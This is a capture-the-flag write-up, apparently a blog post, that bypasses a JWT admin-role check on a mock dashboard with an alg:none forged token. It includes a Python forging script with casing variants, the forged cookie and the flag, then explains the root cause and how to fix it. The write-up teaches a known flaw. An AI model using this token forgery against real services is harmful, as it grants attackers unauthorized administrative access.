Summary
NexaVault is a mock internal dashboard app that gates an "Admin Vault" panel behind a role claim in a JWT. The app issues a user-role token on login, stored in the nx_access cookie, and trusts the claims inside it without properly re-verifying the signature on every request.
Recon
Logged in as a normal user (strawhat) and captured the request to /famctf/dashboard:
Cookie: nx_access=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzdHJhd2hhdCIsInJvbGUiOiJ1c2VyIn0.x5PRC4_NFw5cGM02QklUN5yq6rtGOMP_E8bKGxgIbME
Decoding the JWT:
Header
{
"alg": "HS256",
"typ": "JWT"
}
Payload
{
"sub": "strawhat",
"role": "user"
}
The dashboard UI showed an "Admin Vault" card locked behind Admin only, confirming role was the authorization check.
Attempt 1 - Naive tampering (failed)
Editing the payload directly to "role":"admin" while keeping the original HS256 signature predictably failed - the signature no longer matched the modified payload, and the server redirected to the login page. This confirmed the server does verify the signature against the payload, but didn't yet confirm how strictly it verifies the algorithm itself.
Attempt 2 - alg:none bypass (success)
Many JWT libraries historically honor the alg field declared in the token header to decide how to verify, including a none algorithm meant for unsigned/pre-verified tokens. If the server-side verification doesn't explicitly reject none, an attacker can forge any payload with zero knowledge of the signing secret.
Forged header:
{ "alg": "none", "typ": "JWT" }
Forged payload:
{ "sub": "strawhat", "role": "admin" }
Forging Script
import base64, json
def b64url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "strawhat", "role": "admin"}
h = b64url(json.dumps(header, separators=(',', ':')).encode())
p = b64url(json.dumps(payload, separators=(',', ':')).encode())
# alg:none tokens carry an empty signature segment (trailing dot, no bytes after it)
forged_token = f"{h}.{p}."
print(forged_token)
Output (used as the nx_access cookie value):
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJzdHJhd2hhdCIsInJvbGUiOiJhZG1pbiJ9.
The script was also parameterized to emit None and NONE casing variants, since some JWT libraries do case-sensitive matching on alg and only reject the lowercase none:
for alg_variant in ("none", "None", "NONE"):
header = {"alg": alg_variant, "typ": "JWT"}
h = b64url(json.dumps(header, separators=(',', ':')).encode())
print(f"{alg_variant}: {h}.{p}.")
The lowercase none variant was the one accepted by the server.
Swapped the forged token in as the nx_access cookie value and reloaded /famctf/admin.
Result
With the forged cookie set, the dashboard itself reflected the privilege escalation - the "Admin Vault" card, previously locked with an Admin only badge, was now accessible, and a new ADMIN section appeared in the sidebar (Vault) alongside an ADMIN badge next to the username in the navbar. The Access Level card confirmed: ADMIN.
Navigating to /famctf/admin returned:
Identity verified - elevated access granted for strawhat
FAM{jwt_4lg_n0n3_byp4ss_gr4nt3d}
Root Cause
Server-side JWT verification trusted the alg field from the attacker-controlled header instead of enforcing a fixed expected algorithm (e.g. always verify with HS256 and the server's own secret, regardless of what the token claims). This is the classic JWT algorithm confusion / alg:none vulnerability (CWE-347).
Fix
- Never derive the verification algorithm from the token itself - hardcode the expected algorithm (
HS256) server-side and reject anything else, includingnone. - Use a JWT library configuration that requires an explicit allow-list of algorithms (most modern libraries support this, e.g.
jwt.verify(token, secret, { algorithms: ['HS256'] })injsonwebtoken). - Treat
role/privilege claims as sensitive - consider keeping authorization state server-side (session store) rather than trusting client-held tokens for privilege escalation-sensitive decisions.
Tools Used
- Browser DevTools / Burp Suite (cookie interception & editing)
- jwt.io Debugger (payload/header inspection)
- Python (
base64,json) for manual token forging
Top comments (0)